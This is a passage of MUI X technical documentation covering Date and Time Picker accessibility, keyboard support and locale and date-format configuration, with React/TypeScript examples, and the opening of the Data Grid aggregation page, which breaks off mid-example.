# Mui X

> title: Date and Time Pickers - Accessibility

---

# Source: https://mui.com/x/react-data-grid/accessibility.md

# Source: https://mui.com/x/react-tree-view/accessibility.md

# Source: https://mui.com/x/react-date-pickers/accessibility.md

---
productId: x-date-pickers
title: Date and Time Pickers - Accessibility
githubLabel: 'scope: pickers'
packageName: '@mui/x-date-pickers'
---

# Accessibility

Learn how the Date and Time Pickers implement accessibility features and guidelines, including keyboard navigation that follows international standards.

## Guidelines

Common conformance guidelines for accessibility include:

- Globally accepted standard: [WCAG](https://www.w3.org/WAI/standards-guidelines/wcag/)
- US:
  - [ADA](https://www.ada.gov/) - US Department of Justice
  - [Section 508](https://www.section508.gov/) - US federal agencies
- Europe: [EAA](https://employment-social-affairs.ec.europa.eu/policies-and-activities/social-protection-social-inclusion/persons-disabilities/union-equality-strategy-rights-persons-disabilities-2021-2030/european-accessibility-act_en) (European Accessibility Act)

WCAG 2.1 has three levels of conformance: A, AA, and AAA.
Level AA exceeds the basic criteria for accessibility and is a common target for most organizations, so this is what we aim to support.

The WAI-ARIA Authoring Practices includes examples on [Date Picker Dialog](https://www.w3.org/WAI/ARIA/apg/patterns/dialog-modal/examples/datepicker-dialog/) and [Date Picker Spin Button](https://www.w3.org/WAI/ARIA/apg/patterns/spinbutton/examples/datepicker-spinbuttons/) patterns, which provide valuable information on how to optimize the accessibility of these components.

### Dialog considerations

Both `Desktop` and `Mobile` Date and Time Pickers are using `role="dialog"` to display their interactive view parts and thus they should follow [Modal accessibility guidelines](/material-ui/react-modal/#accessibility).
This behavior is automated as much as possible, ensuring that the Date and Time Pickers are accessible in most cases.
A correct `aria-labelledby` value is assigned to the dialog component based on the following rules:

- Use `toolbar` ID if the toolbar is visible
- Use the ID of the input label if the toolbar is hidden

:::info
Make sure to provide an `aria-labelledby` prop to `popper` and/or `mobilePaper` slots in case you are using Date and Time Pickers component with **hidden toolbar** and **without a label**.
:::

## Screen reader compatibility

Date and Time Pickers use ARIA roles and robust focus management across the interactive elements to convey the necessary information to users, being optimized for use with assistive technologies.

## Keyboard support

The Date and Time Pickers consist of different associations of Field, Calendar, and Clock components.
Each of these components is designed to respond intuitively to keyboard interactions, providing extensive keyboard navigation support.

### Fields

The following table describes the keyboard support for all [field components](/x/react-date-pickers/fields/):

|                                                                  Keys | Description                               |
| --------------------------------------------------------------------: | :---------------------------------------- |
| <kbd class="key">Arrow Left</kbd>, <kbd class="key">Arrow Right</kbd> | Moves focus among date/time sections      |
|                                       <kbd class="key">Arrow Up</kbd> | Increases focused section value by 1      |
|                                     <kbd class="key">Arrow Down</kbd> | Decreases focused section value by 1      |
|                                        <kbd class="key">Page Up</kbd> | Increases focused section value by 5      |
|                                      <kbd class="key">Page Down</kbd> | Decreases focused section value by 5      |
|                                           <kbd class="key">Home</kbd> | Sets focused section to the minimal value |
|                                            <kbd class="key">End</kbd> | Sets focused section to the maximal value |

### Date Calendar

Among the [available view components](https://mui.com/x/react-date-pickers/date-calendar/#views), `day` is the only one that implements specific keyboard support:

|                             Keys | Description                                                     |
| -------------------------------: | :-------------------------------------------------------------- |
|   <kbd class="key">Page Up</kbd> | Moves calendar to next month, keeping focus on the same day     |
| <kbd class="key">Page Down</kbd> | Moves calendar to previous month, keeping focus on the same day |
|      <kbd class="key">Home</kbd> | Moves focus to the first day of the week                        |
|       <kbd class="key">End</kbd> | Moves focus to the last day of the week                         |

### Date Picker

The [Date Picker](/x/react-date-pickers/date-picker/) combines the functionalities of the Date Field and Date Calendar components.
Depending on which component is in focus, the Picker will provide the corresponding keyboard support, either from [Date Field](/x/react-date-pickers/accessibility/#fields) or [Date Calendar](/x/react-date-pickers/accessibility/#date-calendar).

### Date Range Calendar

The [Date Range Calendar](/x/react-date-pickers/date-range-calendar/) implements similar keyboard support as the day view of the [Date Calendar](/x/react-date-pickers/accessibility/#date-calendar) component, with a difference in the navigation between the previous and next months that must be achieved using the arrows in the calendar header.

|                                                                                                                                          Keys | Description                                                       |
| --------------------------------------------------------------------------------------------------------------------------------------------: | :---------------------------------------------------------------- |
| <kbd class="key">Arrow Up</kbd>, <kbd class="key">Arrow Down</kbd>,<br> <kbd class="key">Arrow Left</kbd>, <kbd class="key">Arrow Right</kbd> | Moves focus among the available values                            |
|                                                                                                                <kbd class="key">Page Up</kbd> | Moves focus to the last day of the month                          |
|                                                                                                              <kbd class="key">Page Down</kbd> | Moves focus to the first day of the month                         |
|                                                                                                                   <kbd class="key">Home</kbd> | Moves focus to the first day of the week within the current month |
|                                                                                                                    <kbd class="key">End</kbd> | Moves focus to the last day of the week within the current month  |

### Date Range Picker

When interacting with the keyboard, the [Date Range Picker](/x/react-date-pickers/date-range-picker/) keeps the focus on the Field component, thereby offering the same keyboard navigation support as the [Date Range Field](/x/react-date-pickers/accessibility/#fields), having the changes consistently updated on the calendar component.

---

# Source: https://mui.com/x/react-date-pickers/adapters-locale.md

---
productId: x-date-pickers
title: Date and Time Pickers - Date format and localization
components: LocalizationProvider
githubLabel: 'scope: pickers'
packageName: '@mui/x-date-pickers'
---

# Date format and localization

Date and Time Pickers support formats from different locales.

## Getting started

The default locale of MUI X is English (United States). If you want to use other locales, follow the instructions below.

:::warning
This page focuses on date format localization.
If you need to translate text inside a component, check out the [Translated components](/x/react-date-pickers/localization/) page.
:::

## Set a custom locale

### With `dayjs`

For `dayjs`, import the locale and then pass its name to `LocalizationProvider`:

```tsx
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import 'dayjs/locale/de';

<LocalizationProvider dateAdapter={AdapterDayjs} adapterLocale="de">
  {children}
</LocalizationProvider>;
```

```tsx
import * as React from 'react';
import dayjs from 'dayjs';
import 'dayjs/locale/de';
import 'dayjs/locale/en-gb';
import 'dayjs/locale/zh-cn';
import Stack from '@mui/material/Stack';
import ToggleButton from '@mui/material/ToggleButton';
import ToggleButtonGroup from '@mui/material/ToggleButtonGroup';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { DateField } from '@mui/x-date-pickers/DateField';
import { TimeField } from '@mui/x-date-pickers/TimeField';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';

const locales = ['en', 'en-gb', 'zh-cn', 'de'];

type LocaleKey = (typeof locales)[number];

export default function LocalizationDayjs() {
  const [locale, setLocale] = React.useState<LocaleKey>('en');

  return (
    <LocalizationProvider dateAdapter={AdapterDayjs} adapterLocale={locale}>
      <Stack spacing={3} sx={{ width: 300 }}>
        <ToggleButtonGroup
          value={locale}
          exclusive
          fullWidth
          onChange={(event, newLocale) => {
            if (newLocale != null) {
              setLocale(newLocale);
            }
          }}
        >
          {locales.map((localeItem) => (
            <ToggleButton key={localeItem} value={localeItem}>
              {localeItem}
            </ToggleButton>
          ))}
        </ToggleButtonGroup>
        <DateField label="Date" defaultValue={dayjs('2022-04-17')} />
        <TimeField label="Time" defaultValue={dayjs('2022-04-17T18:30')} />
      </Stack>
    </LocalizationProvider>
  );
}

```

### With `date-fns`

For `date-fns`, import the locale and pass it to `LocalizationProvider`:

:::info
We support `date-fns` package v2.x, v3.x, and v4.x major versions.

A single adapter cannot work for all `date-fns` versions, because the way functions are exported has been changed in v3.x.

To use `date-fns` v2.x, you need to import the adapter from `@mui/x-date-pickers/AdapterDateFnsV2` instead of `@mui/x-date-pickers/AdapterDateFns`.
:::

```tsx
// with date-fns v3.x or v4.x
import { AdapterDateFns } from '@mui/x-date-pickers/AdapterDateFns';
// with date-fns v2.x
import { AdapterDateFns } from '@mui/x-date-pickers/AdapterDateFnsV2';
// with date-fns v3.x or v4.x
import { de } from 'date-fns/locale/de';
// with date-fns v2.x
import de from 'date-fns/locale/de';

<LocalizationProvider dateAdapter={AdapterDateFns} adapterLocale={de}>
  {children}
</LocalizationProvider>;
```

```tsx
import * as React from 'react';
import { de, enGB, zhCN } from 'date-fns/locale';
import Stack from '@mui/material/Stack';
import ToggleButton from '@mui/material/ToggleButton';
import ToggleButtonGroup from '@mui/material/ToggleButtonGroup';
import { AdapterDateFns } from '@mui/x-date-pickers/AdapterDateFns';
import { DateField } from '@mui/x-date-pickers/DateField';
import { TimeField } from '@mui/x-date-pickers/TimeField';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';

const locales = { 'en-us': undefined, 'en-gb': enGB, 'zh-cn': zhCN, de };

type LocaleKey = keyof typeof locales;

export default function LocalizationDateFns() {
  const [locale, setLocale] = React.useState<LocaleKey>('en-us');

  return (
    <LocalizationProvider
      dateAdapter={AdapterDateFns}
      adapterLocale={locales[locale]}
    >
      <Stack spacing={3} sx={{ width: 300 }}>
        <ToggleButtonGroup
          value={locale}
          exclusive
          fullWidth
          onChange={(event, newLocale) => {
            if (newLocale != null) {
              setLocale(newLocale);
            }
          }}
        >
          {Object.keys(locales).map((localeItem) => (
            <ToggleButton key={localeItem} value={localeItem}>
              {localeItem}
            </ToggleButton>
          ))}
        </ToggleButtonGroup>
        <DateField label="Date" defaultValue={new Date('2022-04-17')} />
        <TimeField label="Time" defaultValue={new Date('2022-04-17T18:30')} />
      </Stack>
    </LocalizationProvider>
  );
}

```

### With `luxon`

For `luxon`, pass the locale name to `LocalizationProvider`:

```tsx
import { AdapterLuxon } from '@mui/x-date-pickers/AdapterLuxon';

<LocalizationProvider dateAdapter={AdapterLuxon} adapterLocale="de">
  {children}
</LocalizationProvider>;
```

```tsx
import * as React from 'react';
import { DateTime } from 'luxon';
import Stack from '@mui/material/Stack';
import ToggleButton from '@mui/material/ToggleButton';
import ToggleButtonGroup from '@mui/material/ToggleButtonGroup';
import { AdapterLuxon } from '@mui/x-date-pickers/AdapterLuxon';
import { DateField } from '@mui/x-date-pickers/DateField';
import { TimeField } from '@mui/x-date-pickers/TimeField';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';

const locales = ['en-us', 'en-gb', 'zh-cn', 'de'];

type LocaleKey = (typeof locales)[number];

export default function LocalizationLuxon() {
  const [locale, setLocale] = React.useState<LocaleKey>('en-us');

  return (
    <LocalizationProvider dateAdapter={AdapterLuxon} adapterLocale={locale}>
      <Stack spacing={3} sx={{ width: 300 }}>
        <ToggleButtonGroup
          value={locale}
          exclusive
          fullWidth
          onChange={(event, newLocale) => {
            if (newLocale != null) {
              setLocale(newLocale);
            }
          }}
        >
          {locales.map((localeItem) => (
            <ToggleButton key={localeItem} value={localeItem}>
              {localeItem}
            </ToggleButton>
          ))}
        </ToggleButtonGroup>
        <DateField label="Date" defaultValue={DateTime.fromISO('2022-04-17')} />
        <TimeField
          label="Time"
          defaultValue={DateTime.fromISO('2022-04-17T18:30')}
        />
      </Stack>
    </LocalizationProvider>
  );
}

```

:::warning
`AdapterLuxon` does not support `Settings.throwOnInvalid = true` [setting](https://moment.github.io/luxon/api-docs/index.html#settingsthrowoninvalid).

👍 Upvote [issue #11853](https://github.com/mui/mui-x/issues/11853) if you need support for it.

Don't hesitate to leave feedback on how you would like the data entry to behave.
:::

### With `moment`

For `moment`, import the locale and then pass its name to `LocalizationProvider`:

```tsx
import { AdapterMoment } from '@mui/x-date-pickers/AdapterMoment';
import 'moment/locale/de';

<LocalizationProvider dateAdapter={AdapterMoment} adapterLocale="de">
  {children}
</LocalizationProvider>;
```

```tsx
import * as React from 'react';
import moment from 'moment';
import 'moment/locale/de';
import 'moment/locale/en-gb';
import 'moment/locale/zh-cn';
import Stack from '@mui/material/Stack';
import ToggleButton from '@mui/material/ToggleButton';
import ToggleButtonGroup from '@mui/material/ToggleButtonGroup';
import { AdapterMoment } from '@mui/x-date-pickers/AdapterMoment';
import { DateField } from '@mui/x-date-pickers/DateField';
import { TimeField } from '@mui/x-date-pickers/TimeField';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';

const locales = ['en-us', 'en-gb', 'zh-cn', 'de'];

type LocaleKey = (typeof locales)[number];

export default function LocalizationMoment() {
  const [locale, setLocale] = React.useState<LocaleKey>('en-us');

  if (moment.locale() !== locale) {
    moment.locale(locale);
  }

  return (
    <LocalizationProvider dateAdapter={AdapterMoment} adapterLocale={locale}>
      <Stack spacing={3} sx={{ width: 300 }}>
        <ToggleButtonGroup
          value={locale}
          exclusive
          fullWidth
          onChange={(event, newLocale) => {
            if (newLocale != null) {
              setLocale(newLocale);
            }
          }}
        >
          {locales.map((localeItem) => (
            <ToggleButton key={localeItem} value={localeItem}>
              {localeItem}
            </ToggleButton>
          ))}
        </ToggleButtonGroup>
        <DateField label="Date" defaultValue={moment('2022-04-17')} />
        <TimeField label="Time" defaultValue={moment('2022-04-17T18:30')} />
      </Stack>
    </LocalizationProvider>
  );
}

```

## Meridiem — 12h/24h format

All the time and datetime components will automatically adjust to the locale's time setting, that is the 12-hour or 24-hour format.
You can override the default setting with the `ampm` prop:

```tsx
import * as React from 'react';
import dayjs from 'dayjs';
import 'dayjs/locale/de';
import 'dayjs/locale/en-gb';
import Stack from '@mui/material/Stack';
import ToggleButton from '@mui/material/ToggleButton';
import ToggleButtonGroup from '@mui/material/ToggleButtonGroup';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { TimePicker } from '@mui/x-date-pickers/TimePicker';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';

const locales = ['en', 'en-gb', 'de'];

type LocaleKey = (typeof locales)[number];

export default function AmPMCustomization() {
  const [locale, setLocale] = React.useState<LocaleKey>('en');

  return (
    <LocalizationProvider dateAdapter={AdapterDayjs} adapterLocale={locale}>
      <Stack spacing={3} width={200}>
        <ToggleButtonGroup
          value={locale}
          exclusive
          fullWidth
          onChange={(event, newLocale) => {
            if (newLocale != null) {
              setLocale(newLocale);
            }
          }}
        >
          {locales.map((localeItem) => (
            <ToggleButton key={localeItem} value={localeItem}>
              {localeItem}
            </ToggleButton>
          ))}
        </ToggleButtonGroup>
        <TimePicker
          label="Locale default"
          defaultValue={dayjs('2022-04-17T18:30')}
        />
        <TimePicker label="AM / PM" defaultValue={dayjs('2022-04-17T18:30')} ampm />
        <TimePicker
          label="24 hours"
          defaultValue={dayjs('2022-04-17T18:30')}
          ampm={false}
        />
      </Stack>
    </LocalizationProvider>
  );
}

```

## Custom formats

The format received by the props described below depends on the date library you are using.
Please refer to each library's documentation for the full format table:

- [Day.js](https://day.js.org/docs/display/format)
- [date-fns](https://date-fns.org/docs/format)
- [Luxon](https://moment.github.io/luxon/#/formatting?id=table-of-tokens)
- [Moment.js](https://momentjs.com/docs/#/displaying/format/)

### Custom field format

The fields have a default format that depends on the picker being used, the views enabled, and the 12h/24h format.

If this default format does not suit you, you can customize it using the `format` prop:

:::info
This prop is available on all fields and pickers.
:::

```tsx
import dayjs from 'dayjs';
import { DemoContainer } from '@mui/x-date-pickers/internals/demo';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { DateField } from '@mui/x-date-pickers/DateField';
import { DatePicker } from '@mui/x-date-pickers/DatePicker';

export default function CustomFieldFormat() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DemoContainer components={['DateField', 'DatePicker']}>
        <DateField
          label="Date Field"
          format="MM - DD - YYYY"
          defaultValue={dayjs('2022-04-17')}
        />
        <DatePicker
          label="Date Picker"
          format="YYYY/MM/DD"
          defaultValue={dayjs('2022-04-17')}
        />
      </DemoContainer>
    </LocalizationProvider>
  );
}

```

:::info
You can control the field format spacing using the [formatDensity](/x/react-date-pickers/custom-field/#change-the-format-density) prop.
:::

### Field-supported formats

Some formats might not yet be supported by the fields.
For example, they don't support day of the year or quarter.

Here is the list of the currently supported formats:

- The year
  - ✅ 2-digits values (for example, `23`)
  - ✅ 4-digits values (for example, `2023`)
  - ❌ Values with ordinal (for example, `2023th`)
- The month
  - ✅ 1-based digit (for example, `08`)
  - ✅ Multi-letter values (for example, `Aug`, `August`)
  - ❌ 1-letter values (for example, `A`) because several months are represented with the same letter

- The day of the month
  - ✅ 1-based digit values (for example, `24`)
  - ✅ 1-based digit values with ordinal (for example, `24th`)

- The day of the week
  - ✅ 0-based digit values (for example, `03`)
  - ✅ 1-based digit values (for example, `04`)
  - ✅ Multi-letter values (for example, `Tue`, `Tuesday`)
  - ❌ 1-letter values (for example, `T`) because several days of the week are represented with the same letter

- The hours
  - ✅ 0-based 12-hours values (for example, `03`)
  - ✅ 0-based 24-hours values (for example, `15`)
  - ❌ 1-based values (for example, `24` instead of `00`)

- The minutes

- The seconds

- The meridiem

If you need to use some format that is not yet supported, please [open an issue](https://github.com/mui/mui-x/issues/new/choose) describing what is your exact use case.
Some new formats might be supported in the future, depending on the complexity of the implementation.

### Respect leading zeros in fields

By default, the value rendered in the field always contains digit zeros, even if your format says otherwise.
You can force the field to respect your format information by setting the `shouldRespectLeadingZeros` prop to `true`.

:::warning
When `shouldRespectLeadingZeros={true}`, the field will add an invisible character on the sections containing a single digit to make sure `onChange` is fired.
If you need to get the clean value from the input, you can remove this character using `input.value.replace(/\u200e/g, '')`.
:::

:::warning
Luxon is not able to respect the leading zeroes when using macro tokens (for example "DD"), so `shouldRespectLeadingZeros={true}` might lead to inconsistencies when using `AdapterLuxon`.
:::

```tsx
import dayjs from 'dayjs';
import { DemoContainer } from '@mui/x-date-pickers/internals/demo';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { DateField } from '@mui/x-date-pickers/DateField';
import { DatePicker } from '@mui/x-date-pickers/DatePicker';

export default function RespectLeadingZerosFieldFormat() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DemoContainer components={['DateField', 'DatePicker']}>
        <DateField
          label="Date Field"
          format="M/D/YYYY"
          defaultValue={dayjs('2022-04-17')}
          shouldRespectLeadingZeros
        />
        <DatePicker
          label="Date Picker"
          format="M/D/YYYY"
          defaultValue={dayjs('2022-04-17')}
          slotProps={{ field: { shouldRespectLeadingZeros: true } }}
        />
      </DemoContainer>
    </LocalizationProvider>
  );
}

```

### Custom field placeholder

When a section is empty, the field displays its placeholder instead of an empty value.
For example, if you did not fill any value for the `year` section, the field will render the year placeholder.

These placeholders are based on your current component localization, not on your date localization.

```tsx
import 'dayjs/locale/de';
import { DemoContainer, DemoItem } from '@mui/x-date-pickers/internals/demo';
import { deDE } from '@mui/x-date-pickers/locales';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { DateField } from '@mui/x-date-pickers/DateField';

const germanLocale = deDE.components.MuiLocalizationProvider.defaultProps.localeText;
export default function FieldPlaceholder() {
  return (
    <DemoContainer components={['DateField', 'DateField']}>
      <LocalizationProvider dateAdapter={AdapterDayjs}>
        <DemoItem label="English locale (default)">
          <DateField />
        </DemoItem>
      </LocalizationProvider>
      <LocalizationProvider
        dateAdapter={AdapterDayjs}
        // Define the date locale to have the right format `day.month.year`.
        adapterLocale="de"
        // Define the translations to have the right placeholders (for example `JJJJ` for the year).
        localeText={germanLocale}
      >
        <DemoItem label="German locale">
          <DateField />
        </DemoItem>
      </LocalizationProvider>
    </DemoContainer>
  );
}

```

For more information on how to define your component localization, check out the [Translated components](/x/react-date-pickers/localization/) page.

:::warning
Placeholders translations depend on locale.
Some locales might keep using English placeholders, because that format is commonly used in a given locale.
:::

You can customize the specific placeholder section translation to your needs.
All the available placeholder translation methods and their parameters are available in [the source file](https://github.com/mui/mui-x/blob/HEAD/packages/x-date-pickers/src/locales/utils/pickersLocaleTextApi.ts).
You can override them using the `localeText` prop defined on the `LocalizationProvider` or on a specific Picker component if you need more fine-grained control.

A common use case is to change the placeholder of the month section to a short letter form (Jan, Feb, etc.).
The default translation implementation might not be what you want, so you can override it:

```tsx
<LocalizationProvider
  dateAdapter={AdapterDayjs}
  localeText={{
    fieldMonthPlaceholder: (params) =>
      params.contentType === 'digit' ? 'MM' : params.format,
  }}
>
  <DatePicker />
</LocalizationProvider>
```

### Custom toolbar format

To customize the format used in the toolbar, use the `toolbarFormat` prop of the `toolbar` slot.

:::info
This prop is available on all pickers.
:::

```tsx
import dayjs from 'dayjs';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { StaticDatePicker } from '@mui/x-date-pickers/StaticDatePicker';

export default function CustomToolbarFormat() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <StaticDatePicker
        displayStaticWrapperAs="desktop"
        defaultValue={dayjs('2022-04-17')}
        slotProps={{
          toolbar: { toolbarFormat: 'ddd DD MMMM', hidden: false },
        }}
      />
    </LocalizationProvider>
  );
}

```

### Custom day of week format

Use `dayOfWeekFormatter` to customize day names in the calendar header.
This prop takes two parameters, `day` (a string with the name of the day) and `date` (the day in the format of your date library), and returns the formatted string to display.
The default formatter only keeps the first letter of the name and capitalizes it.

:::warning
The first parameter `day` will be removed in v7 in favor of the second parameter `date` for more flexibility.
:::

:::info
This prop is available on all components that render a day calendar, including the Date Calendar as well as all Date Pickers, Date Time Pickers, and Date Range Pickers.
:::

The example below adds a dot at the end of each day in the calendar header:

```tsx
import * as React from 'react';
import dayjs, { Dayjs } from 'dayjs';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { DateCalendar } from '@mui/x-date-pickers/DateCalendar';

export default function CustomDayOfWeekFormat() {
  const [value, setValue] = React.useState<Dayjs | null>(dayjs('2022-04-17'));

  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DateCalendar
        value={value}
        onChange={(newValue) => setValue(newValue)}
        dayOfWeekFormatter={(weekday) => `${weekday.format('dd')}.`}
      />
    </LocalizationProvider>
  );
}

```

### Custom calendar header format

To customize the format used on the calendar header, use the `format` prop of the `calendarHeader` slot.

:::info
This prop is available on all components that render a day calendar, including the Date Calendar as well as all Date Pickers, Date Time Pickers, and Date Range Pickers.
:::

```tsx
import dayjs from 'dayjs';
import { DemoContainer } from '@mui/x-date-pickers/internals/demo';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { DateCalendar } from '@mui/x-date-pickers/DateCalendar';
import { DateRangeCalendar } from '@mui/x-date-pickers-pro/DateRangeCalendar';

export default function CustomCalendarHeaderFormat() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DemoContainer components={['DateCalendar', 'DateRangeCalendar']}>
        <DateCalendar
          defaultValue={dayjs('2022-04-17')}
          slotProps={{ calendarHeader: { format: 'MM/YYYY' } }}
        />
        <DateRangeCalendar
          defaultValue={[dayjs('2022-04-17'), dayjs('2022-04-21')]}
          calendars={2}
          slotProps={{ calendarHeader: { format: 'MM/YYYY' } }}
        />
      </DemoContainer>
    </LocalizationProvider>
  );
}

```

## Custom start of week

The Date and Time Pickers are using the week settings provided by your date libraries.
Each adapter uses its locale to define the start of the week.

If the default start of the week defined in your adapter's locale is not the one you want, you can override it as shown in the following examples.

:::warning
If you want to update the start of the week after the first render of a component,
you will have to manually remount your component to apply the new locale configuration.

:::

### With `dayjs`

For `dayjs`, use the `updateLocale` plugin:

```ts
import updateLocale from 'dayjs/plugin/updateLocale';

dayjs.extend(updateLocale);

// Replace "en" with the name of the locale you want to update.
dayjs.updateLocale('en', {
  // Sunday = 0, Monday = 1.
  weekStart: 1,
});
```

### With `date-fns`

For `date-fns`, override the `options.weekStartsOn` of the used locale:

```ts
import { Locale } from 'date-fns';
// with date-fns v3.x or v4.x
import { enUS } from 'date-fns/locale/en-US';
// with date-fns v2.x
import enUS from 'date-fns/locale/en-US';

const customEnLocale: Locale = {
  ...enUS,
  options: {
    ...enUS.options,
    // Sunday = 0, Monday = 1.
    weekStartsOn: 1,
  },
};

<LocalizationProvider dateAdapter={AdapterDateFns} adapterLocale={customEnLocale}>
```

### With `luxon`

For `luxon`, use the `Settings.defaultWeekSettings` object:

```ts
import { Settings, Info } from 'luxon';

Settings.defaultWeekSettings = {
  // Sunday = 7, Monday = 1.
  firstDay: 1,
  // Makes sure we don't lose the other information from `defaultWeekSettings`
  minimalDays: Info.getMinimumDaysInFirstWeek(),
  weekend: Info.getWeekendWeekdays(),
};
```

:::warning
The [browser API](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Intl/Locale/getWeekInfo) used by Luxon to determine the start of the week in the current locale is not yet supported by Firefox.
Users on this browser will always see Monday as the start of the week.
If you want to have the same start of week on all browsers,
you will have to manually override the `defaultWeekSettings` to set the `firstDay` corresponding to your locale.

For example, when using the `en-US` locale:

```ts
Settings.defaultWeekSettings = {
  firstDay: 7,
  minimalDays: Info.getMinimumDaysInFirstWeek(),
  weekend: Info.getWeekendWeekdays(),
};
```

:::

### With `moment`

For `moment`, use the `moment.updateLocale` method:

```ts
import moment from 'moment';

// Replace "en" with the name of the locale you want to update.
moment.updateLocale('en', {
  week: {
    // Sunday = 0, Monday = 1.
    dow: 1,
  },
});
```

## RTL Support

Right-to-left languages such as Arabic, Persian, or Hebrew are supported.
Follow [this guide](/material-ui/customization/right-to-left/) to use them.

The example below demonstrates how to use an RTL language (Arabic) with some of the Date and Time Pickers components.

```tsx
import * as React from 'react';
import { prefixer } from 'stylis';
import rtlPlugin from '@mui/stylis-plugin-rtl';
import createCache from '@emotion/cache';
import { CacheProvider } from '@emotion/react';
import dayjs from 'dayjs';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { DateTimePicker } from '@mui/x-date-pickers/DateTimePicker';
import { createTheme, ThemeProvider, useTheme } from '@mui/material/styles';

// Create rtl cache
const cacheRtl = createCache({
  key: 'pickers-rtl-demo',
  stylisPlugins: [prefixer, rtlPlugin],
});

export default function PickersRTL() {
  // Inherit the theme from the docs site (dark/light mode)
  const existingTheme = useTheme();

  const theme = React.useMemo(
    () => createTheme(existingTheme, { direction: 'rtl' }),
    [existingTheme],
  );

  return (
    <CacheProvider value={cacheRtl}>
      <ThemeProvider theme={theme}>
        <div dir="rtl">
          <LocalizationProvider dateAdapter={AdapterDayjs}>
            <DateTimePicker
              label="RTL Date Picker"
              defaultValue={dayjs('2022-04-17')}
              // Setting `dir="rtl"` on the paper is needed if the `<div dir="rtl />` does not contain the portaled element.
              // If you set `dir="rtl"` on the `<body />`, you can skip it.
              slotProps={{
                desktopPaper: {
                  dir: 'rtl',
                },
                mobilePaper: {
                  dir: 'rtl',
                },
              }}
            />
          </LocalizationProvider>
        </div>
      </ThemeProvider>
    </CacheProvider>
  );
}

```

---

# Source: https://mui.com/x/react-data-grid/server-side-data/aggregation.md

# Source: https://mui.com/x/react-data-grid/aggregation.md

---
title: Data Grid - Aggregation
---

# Data Grid - Aggregation [<span class="plan-premium"></span>](/x/introduction/licensing/#premium-plan 'Premium plan')

Add aggregation functions to the Data Grid to let users combine row values.

The Data Grid Premium provides tools to give end users the ability to aggregate and compare row values.
It includes [built-in functions](#built-in-functions) to cover common use cases such as sum, average, minimum, and maximum, as well as the means to [create custom functions](#creating-custom-functions) for all other needs.

End users can aggregate rows through the Data Grid interface by opening the column menu and selecting from the items under **Aggregation**.
The aggregated values are rendered in a footer row at the bottom of the Grid.

```tsx
import { DataGridPremium, GridColDef } from '@mui/x-data-grid-premium';
import { useMovieData } from '@mui/x-data-grid-generator';

const currencyFormatter = new Intl.NumberFormat('en-US', {
  style: 'currency',
  currency: 'USD',
  minimumFractionDigits: 0,
  maximumFractionDigits: 0,
});

const COLUMNS: GridColDef[] = [
  { field: 'title', headerName: 'Title', width: 200, groupable: false },
  {
    field: 'gross',
    headerName: 'Gross',
    type: 'number',
    width: 150,
    groupable: false,
    valueFormatter: (value) => {
      if (!value) {
        return value;
      }
      return currencyFormatter.format(value);
    },
  },
];

export default function AggregationInitialState() {
  const data = useMovieData();

  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGridPremium
        rows={data.rows}
        columns={COLUMNS}
        initialState={{
          aggregation: {
            model: {
              gross: 'sum',
            },
          },
        }}
      />
    </div>
  );
}

```

:::info
This document covers client-side implementation.
For aggregation on the server side, see [Server-side aggregation](/x/react-data-grid/server-side-data/aggregation/).
:::

## Structure of the model

The aggregation model is an object.
The keys correspond to the columns, and the values are the names of the aggregation functions.

## Initializing aggregation

To initialize aggregation without controlling its state, provide the model to the `initialState` prop, as shown below:

```tsx
import { DataGridPremium, GridColDef } from '@mui/x-data-grid-premium';
import { useMovieData } from '@mui/x-data-grid-generator';

const currencyFormatter = new Intl.NumberFormat('en-US', {
  style: 'currency',
  currency: 'USD',
  minimumFractionDigits: 0,
  maximumFractionDigits: 0,
});

const COLUMNS: GridColDef[] = [
  { field: 'title', headerName: 'Title', width: 200, groupable: false },
  {
    field: 'gross',
    headerName: 'Gross',
    type: 'number',
    width: 150,
    groupable: false,
    valueFormatter: (value) => {
      if (!value) {
        return value;
      }
      return currencyFormatter.format(value);
    },
  },
];

export default function AggregationInitialState() {
  const data = useMovieData();

  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGridPremium
        rows={data.rows}
        columns={COLUMNS}
        initialState={{
          aggregation: {
            model: {
              gross: 'sum',
            },
          },
        }}
      />
    </div>
  );
}

```

## Controlled aggregation

Use the `aggregationModel` prop to control aggregation passed to the Data Grid.
Use the `onAggregationModelChange` prop to listen to changes to aggregation and update the prop accordingly.

```tsx
import * as React from 'react';
import {
  DataGridPremium,
  GridAggregationModel,
  GridColDef,
} from '@mui/x-data-grid-premium';
import { useMovieData } from '@mui/x-data-grid-generator';

const currencyFormatter = new Intl.NumberFormat('en-US', {
  style: 'currency',
